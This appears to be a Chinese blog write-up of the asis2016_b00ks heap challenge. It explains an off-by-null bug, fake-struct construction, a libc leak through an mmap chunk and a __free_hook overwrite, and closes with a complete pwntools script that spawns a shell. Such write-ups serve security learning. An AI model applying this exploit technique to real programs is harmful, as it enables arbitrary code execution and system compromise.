[堆入门 off-by-null] asis2016_b00ks

刚开始学pwn就听说,堆的题目很魔幻,需要大量的基础知识。在漫长地啃堆基础原理以后,这是我第一次自己研究学习并且完全明白原理的堆题。特地在此做笔记记录。

0x00 逆向分析

一进来就很容易发现,这也是堆题中最为常见的菜单题目。
简单分析一下,打开程序,最先产生交互的函数是sub_B6D。

漏洞点:sub_B6D

调用了sub_9F5函数,是作者自己写的read函数,再进去看看。
在这里插入图片描述
注意这里的判定:先++buf,然后判断是否达到了最大长度(32字符),如果达到了,就跳出循环,然后把当前buf的字符变为\x00。
乍一看是没什么问题,但是仔细一想,它这里的i是从0开始,当i == a2的时候其实已经读了33个字符了,也就是说如果我们刚好输入32个字符以后,它会再读一个字符,并且会把这个字符变为\x00。
比如我输入了’A’ * 32,实际上数据流中我输入的是’AAAAAAAA…AAA\n’,当我们输入的第32个A被读取之后先检测是否是’\n’,通过,++buf,然后比对i是否等于a2,但是由于i从0开始,此时i为31,所以也通过,继续循环。
然后此时读取的字符是\n,检测到*buf == ‘\n’ 所以执行break,再把’\n’覆盖为\x00。导致最终读入的字符为32个’A’+一个’\x00’。
先简单写个脚本测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def create(name_size, name, desc_size, desc):
global p
p.recvuntil('> ')
p.sendline('1')
p.recvuntil(': ')
p.sendline(str(name_size))
p.recvuntil(': ')
p.sendline(name)
p.recvuntil(': ')
p.sendline(str(desc_size))
p.recvuntil(': ')
p.sendline(desc)

def change_author(author):
global p
p.recvuntil('> ')
p.sendline('5')
p.recvuntil(': ')
p.sendline(author)

def debug():
gdb.attach(p)
pause()

init()
debug()
create(0x20,'aaaaaaaa',0x20,'bbbbbbbb')
debug()
change_author('A'*32)
debug()
p.interactive()

init()先将作者名设置为32个A,然后create新建一个book(因为id是1,所以咱们叫他book1),然后再change_author修改作者名,看看内存里会有什么样的变化。

1.init()执行过后
在这里插入图片描述
可以看到在内存里写入了32个41

2.create()执行过后
在这里插入图片描述
可以看到在32个A后出现了一个指针,指针指向b00k1的id
在这里插入图片描述
3.change_author()执行过后
在这里插入图片描述
可以发现原来指向book1的ID的指针后两位被覆盖为了00。
如何利用这个漏洞?
思路:在覆盖为00后的地址位置(如这里的0x56285dc0f300),写一个伪造的book,怎么写,如何利用这个伪造的book我们之后再分析。

数据结构分析

在利用漏洞之前,我们先分析一下这个程序所用到的结构体。
在create book对应函数里面可以找到这样一段代码
在这里插入图片描述
这一块就很明显的反映出这个程序所用的结构体的结构。
先看这个*((_QWORD *)off_202010 + v2) = v3;
这个off_202010在之前用到过类似的地址:

对,就是之前创建作者名的时候。

ps.这里的sub_9F5和之前的sub_B6D是同一个函数,因为我写这篇文章不是一次性写完的,中间关了一次IDA。不过这都不重要。

跳转到IDA看一下
在这里插入图片描述
我们可以看到,作者名的起始地址off_202018在0x202040,而create中调用的这个地址在0x202060,刚好相差了0x20,再回头看一下之前create()函数执行过后的内存图:
在这里插入图片描述
现在我们可以理解,前面两行(0x20)的41(‘A’)之后跟的那个地址,就是book1的起始地址。
然后再回到IDA看另外的四行,翻译过来的结构体就大概长这样:

1
2
3
4
5
6
7
struct book_struct
{
int id;
void *book_name;
void *book_description;
int description_size;
}

id对应了unk_202024,随着书的数量增加而自增。
*bookname可以通过之前的代码推断:
在这里插入图片描述
*book_description和description_size也是类似:
在这里插入图片描述
在这里插入图片描述

这边有一点需要注意,在IDA中,v5,ptr,unk_202024的地址都用的是
v3+0,v3+1,v3+2,为什么v1的地址用的是v3+6呢?而事实上我们看到:
在这里插入图片描述
这里的v1(description_size)是在v3+3的位置。
这是因为QWRD是四字,比DWORD双字大了一倍,因此DWORD的+6就相当于QWORD的+3

漏洞利用:Edit()

在这里插入图片描述
看到菜单的选项3是Edit a book,转到函数界面看看:
在这里插入图片描述
可以看到这边又调用了读函数sub_9F5,将读取的内容写到book结构体基地址+16(0x10)处的指针所指向的位置。
也就是:在这里插入图片描述
图中这个地址所指向的地方
我们跳转过去看看
在这里插入图片描述
在这里就看到我之前测试所写的’aaaaaaaa’'a'=62
也就是说如果我们控制了这里的0x000056285dc0f2e0,就可以在任意的地方写任意的东西了。
另外在菜单的4选项还有print book detail的选项,也就是说如果我们控制了这个description指针的地址,就可以做到任意地址读写
具体怎么实现再往后看。

0x01 fakebook的构造和利用

就像历史上国与国之间的侵略一样,想要获得一个内鬼,就得先培养一个内鬼,然后再让这个内鬼得到他们内部的信任(权限)
那我们先来构造一个内鬼

构造fakebook

这个很简单,只要这样就行了:

1
2
3
4
5
6
7
8
9
10
11
init()
create(0x20,'aaaaaaaa',0x20,'bbbbbbbb')
###############此处为新增代码###############

edit(1,p64(1) + p64(0x114514) + p64(0x114514) + p64(0xffffff))

###########################################
debug()
change_author('A'*32)
debug()
p.interactive()

运行一下看看是不是这么回事:
在这里插入图片描述
当当!我们的内鬼已经培养完了,这个内鬼可以在0x114514这个地址写0xffffff大小的内容,是不是很猛?
但是!别忘记一个很关键的事情,
在这里插入图片描述
程序它不认我这个内鬼啊!只要这里book1的指针还是指向0x56157f41c310,我们往book1的description写东西就还是往0x56157f41c2e0写,那怎么办呢?
这时候就想到了之前我们提到的off-by-null漏洞了,我们只要再填写一次作者名(就是前面的一堆4141),就会溢出一个\x00,覆盖掉0x56157f41c310后面的10。
乍一看这仿佛是不可控的,只能把后面两个改成00,但是我们的内鬼在0x56157f41c2e0,要怎么把book1的指针指向我们的内鬼呢?
其实name,description,book1他们三个是轮流划分区域的。
在这里插入图片描述
我们这里用刚好一本书的description大小0x20(chunk大小是0x30),那么如果book1的地址是以0xXXXXXX30结尾,那么用\x00覆盖以后,就变成0xXXXXXX00,由于book1的chunk刚好紧接着description的chunk,所以此时的0xXXXXXX00就刚好是description的地址。
那现在问题就在于如何把book1的结尾变成0x30?
只要不断扩大name的size直到book1的地址变为0x30结尾即可。

使fakebook取代book1

在这里插入图片描述
先看一下当前name是0x20,description也是0x20的时候,堆的结构是这样的:
在这里插入图片描述
可以看到如果要让book1基地址变成0x30的话 需要:
在这里插入图片描述
往下挤0x20
所以咱们把name加0x20,再试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def init():
p.recvline()
p.recvuntil(': ')
p.sendline('A'*32)

def create(name_size, name, desc_size, desc):
global p
p.recvuntil('> ')
p.sendline('1')
p.recvuntil(': ')
p.sendline(str(name_size))
p.recvuntil(': ')
p.sendline(name)
p.recvuntil(': ')
p.sendline(str(desc_size))
p.recvuntil(': ')
p.sendline(desc)

def change_author(author):
global p
p.recvuntil('> ')
p.sendline('5')
p.recvuntil(': ')
p.sendline(author)

def edit(book_id, desc):
global p
p.recvuntil('> ')
p.sendline('3')
p.recvuntil(': ')
p.sendline(str(book_id))
p.recvuntil(': ')
p.sendline(desc)

def debug():
gdb.attach(p)
pause()

init()
create(0x20 + 0x20,'aaaaaaaa',0x20,'bbbbbbbb')
p.interactive()
edit(1,p64(1) + p64(0x114514) + p64(0x114514) + p64(0xffffff))
debug()
change_author('A'*32)
debug()
p.interactive()

现在脚本长这样,看看啥效果
在这里插入图片描述
很好,book1已经如我们所愿变成30结尾了
执行到下一个debug()
在这里插入图片描述
到这一步,内鬼已经写好。继续执行
在这里插入图片描述
在这里插入图片描述
到此,我们已经成功完成了扶植内鬼,和任命内鬼的全过程。
测试一下:
在这里插入图片描述
我尝试输出了一下书的细节,程序直接崩溃了,如我所料。
如果没有任命成功,它会照常输出:
在这里插入图片描述
之所以这里会崩溃,是因为程序找不到0x114514这个地址。
也就证明我们的内鬼计划非常成功。

0x02 获取libc基地址,执行shell

获取libc基地址

当程序需要分配一块较小的空间时,malloc会默认使用brk方式分配chunk,但是如果需要分配的空间很大的话,会使用mmap方式分配。而使用mmap方式分配的chunk有个特点,就是chunk地址与libc基地址之间的偏移量是固定的(即使开了PIE:libc地址随机)

这就给我们提供了一个很好的获取libc的方式。
地址获取思路:

  1. 将作者名填满32字节,由于print输出到\x00停止的特性,输出作者名时尾部会输出book1的地址(如上图的Author尾部的不可见字符);
  2. 通过book1地址计算出book2的description地址(也可以是NAME地址);
  3. 将fakebook的description指针所指向的地址修改为book2的description所在的内存地址(不是指向的地址);
  4. 通过菜单选项Print book detail泄露book2的description所指向的地址;
  5. 在本地调试,使用vmmap得到book2地址与libc基地址偏移量;
  6. 通过book2的description地址算出libc基地址。
    下面开始实践
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    def init():
    p.recvline()
    p.recvuntil(': ')
    p.sendline('A'*32)

    def create(name_size, name, desc_size, desc):
    global p
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil(': ')
    p.sendline(str(name_size))
    p.recvuntil(': ')
    p.sendline(name)
    p.recvuntil(': ')
    p.sendline(str(desc_size))
    p.recvuntil(': ')
    p.sendline(desc)

    def delete(book_id):
    global p
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil(': ')
    p.sendline(str(book_id))

    def edit(book_id, desc):
    global p
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil(': ')
    p.sendline(str(book_id))
    p.recvuntil(': ')
    p.sendline(desc)

    def printf():
    global p
    p.recvuntil('> ')
    p.sendline('4')


    def change_author(author):
    global p
    p.recvuntil('> ')
    p.sendline('5')
    p.recvuntil(': ')
    p.sendline(author)

    def debug():
    gdb.attach(p)
    pause()

    init()
    book1_name = 0x40
    book1_des = 0x20
    create(book1_name, 'a', book1_des, 'b')
    create(0x21000, 'c', 0x21000, 'd')
    printf()
    p.recvuntil('ID: 1')
    p.recvuntil('A'*32)
    book1_addr = u64(p.recv(6).ljust(8, '\x00'))
    print("book1_addr:"+hex(book1_addr))
    edit(1, p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff))
    change_author('A'*32)
    printf()
    p.recvuntil('ID: 1')
    p.recvuntil('Name: ')
    book2_addr = u64(p.recv(6).ljust(8, '\x00'))
    print("book2_addr:"+hex(book2_addr))
    debug()
    p.interactive()
    先看看book2的地址是多少:
    在这里插入图片描述
    可以看到这边跑出了book2的地址
    然后vmmap看一下libc基地址是多少
    在这里插入图片描述
    这里libc-2.31.so就是libc了,第一行的起始地址就是libc的基地址。
    所以它的偏移量就是:0x7f83dba36000 - 0x7f83dba14010
    所以libc基地址 = book2_addr + (0x7f83dba36000 - 0x7f83dba14010)
    修改后的脚本(自定义函数部分略过了)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    init()
    book1_name = 0x40
    book1_des = 0x20
    create(book1_name, 'a', book1_des, 'b')
    create(0x21000, 'c', 0x21000, 'd')
    printf()
    p.recvuntil('ID: 1')
    p.recvuntil('A'*32)
    book1_addr = u64(p.recv(6).ljust(8, '\x00'))
    print("book1_addr:"+hex(book1_addr))
    edit(1, p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff))
    change_author('A'*32)
    printf()
    p.recvuntil('ID: 1')
    p.recvuntil('Name: ')
    book2_addr = u64(p.recv(6).ljust(8, '\x00'))
    print("book2_addr:"+hex(book2_addr))
    ###############新加入内容###################
    libc_base = book2_addr + (0x7f83dba36000 - 0x7f83dba14010)
    print('libc base:' + hex(libc_base))
    debug()
    跑跑看效果如何:
    在这里插入图片描述
    可以看到libc_base和vmmap的结果一模一样。
    到此libc基地址获取成功。

    执行shell

    在堆中,我们常用__free_hook挟持执行流。
    先来看看__free_hook是干嘛的:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    void __libc_free(void *mem) {
    mstate ar_ptr;
    mchunkptr p; /* chunk corresponding to mem */
    // 判断是否有钩子函数 __free_hook
    void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
    if (__builtin_expect(hook != NULL, 0)) {
    (*hook)(mem, RETURN_ADDRESS(0));
    return;
    }
    //略……
    }
    简单一句话概括:当调用free函数时,会检测__free_hook函数是否为空,如果不是,则先执行__free_hook。
    研究__free_hook的内部太麻烦了,直接看__free_hook的性质:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    #include<stdio.h>
    #include<stdlib.h>
    #include<string.h>

    extern void (*__free_hook) (void *__ptr,const void *);

    int main()
    {
    char *str = malloc(160);
    strcpy(str,"/bin/sh");

    printf("__free_hook: 0x%016X\n",__free_hook);
    // 劫持__free_hook
    __free_hook = system;

    free(str);
    return 0;
    }
    执行结果
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    ex@ubuntu:~/test$ gcc -o demo -g demo.c 
    demo.c: In function ‘main’:
    demo.c:12:9: warning: format ‘%X’ expects argument of type ‘unsigned int’, but argument 2 has type ‘void (*)(void *, const void *)’ [-Wformat=]
    printf("__free_hook: 0x%016X\n",__free_hook);
    ^
    demo.c:14:14: warning: assignment from incompatible pointer type [-Wincompatible-pointer-types]
    __free_hook = system;
    ^
    ex@ubuntu:~/test$ ./demo
    __free_hook: 0x0000000000000000
    $ echo hello world
    hello world
    $
    以上代码节选自http://blog.eonew.cn/archives/521

再简单一句话概括:__free_hook执行时会把chunk中的用户数据作为参数。
所以挟持的步骤:

  1. 把__free_hook的地址改为system地址
  2. 把待free的chunk中的内容改为’/bin/sh’
  3. 执行free(之前修改的chunk)

已经得到解题的所有步骤了,那么执行shell的步骤如下:

  1. 通过libc基地址得到freehook地址,system地址,binsh地址
  2. 由于之前已经将fakebook的description所指向的地址改为book2的name地址,所以可以通过修改book1的description来修改book2的name指针,和description指针所指向的内容。因此我们可以把book2的name改为’/bin/sh’把它的description改为’__free_hook’的地址。
  3. 通过步骤2,我们已经把book2的description所指向的地址改成了__free_hook,因此此时修改book2的description就是修改__free_hook的地址,因此此时只要修改book2的description为system的地址。
  4. free(book2) pwn!!!!!!!!!!

这里有一个细节在这里插入图片描述
在delete操作中,它会把每个chunk都free一遍,所以实际上是它在free(book2的name)的时候获取了shell。(之前纠结了很久__free_hook究竟会调用哪个作为参数)

0x03 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
import pwnlib

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./b00ks')
#p = remote('node3.buuoj.cn',26090)
p = process('./b00ks')

def init():
p.recvline()
p.recvuntil(': ')
p.sendline('A'*32)

def create(name_size, name, desc_size, desc):
global p
p.recvuntil('> ')
p.sendline('1')
p.recvuntil(': ')
p.sendline(str(name_size))
p.recvuntil(': ')
p.sendline(name)
p.recvuntil(': ')
p.sendline(str(desc_size))
p.recvuntil(': ')
p.sendline(desc)

def delete(book_id):
global p
p.recvuntil('> ')
p.sendline('2')
p.recvuntil(': ')
p.sendline(str(book_id))

def edit(book_id, desc):
global p
p.recvuntil('> ')
p.sendline('3')
p.recvuntil(': ')
p.sendline(str(book_id))
p.recvuntil(': ')
p.sendline(desc)

def printf():
global p
p.recvuntil('> ')
p.sendline('4')


def change_author(author):
global p
p.recvuntil('> ')
p.sendline('5')
p.recvuntil(': ')
p.sendline(author)

def debug():
gdb.attach(p)
pause()

init()
book1_name = 0x40
book1_des = 0x20
create(book1_name, 'a', book1_des, 'b')
create(0x21000, 'c', 0x21000, 'd')
printf()
p.recvuntil('ID: 1')
p.recvuntil('A'*32)
book1_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book1_addr:"+hex(book1_addr))
edit(1, p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff))
change_author('A'*32)
printf()
p.recvuntil('ID: 1')
p.recvuntil('Name: ')
book2_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book2_addr:"+hex(book2_addr))
libc_base = book2_addr + (0x7f1b0ac89000 - 0x7f1b0ac42010)
print('libc base:' + hex(libc_base))
elf_base = libc_base + libc.sym['free'] - elf.plt['free']
free_hook = libc.symbols['__free_hook'] + libc_base
system = libc.symbols['system'] + libc_base
binsh_addr = libc.search('/bin/sh').next() + libc_base
print("free_hook = "+ hex(free_hook))
print("system = "+ hex(system))
print("binsh_addr = "+ hex(binsh_addr))
payload = p64(binsh_addr) + p64(free_hook)
edit(1, payload)
payload = p64(system)
edit(2, payload)
delete(2)
p.interactive()

虽然明白了打法,但是我还是花了很久的时间去把这题打穿。因为不同的解释器他们的offset大小都不一样,我用了我三台不同版本的ubuntu虚拟机偏移量都不对,可能是因为这个题目太老了,最后采用了网上别人打穿的wp的偏移量。然后本地的libc版本也很重要,不然就算获取了基地址,根据偏移量算出的函数地址也都是不对的。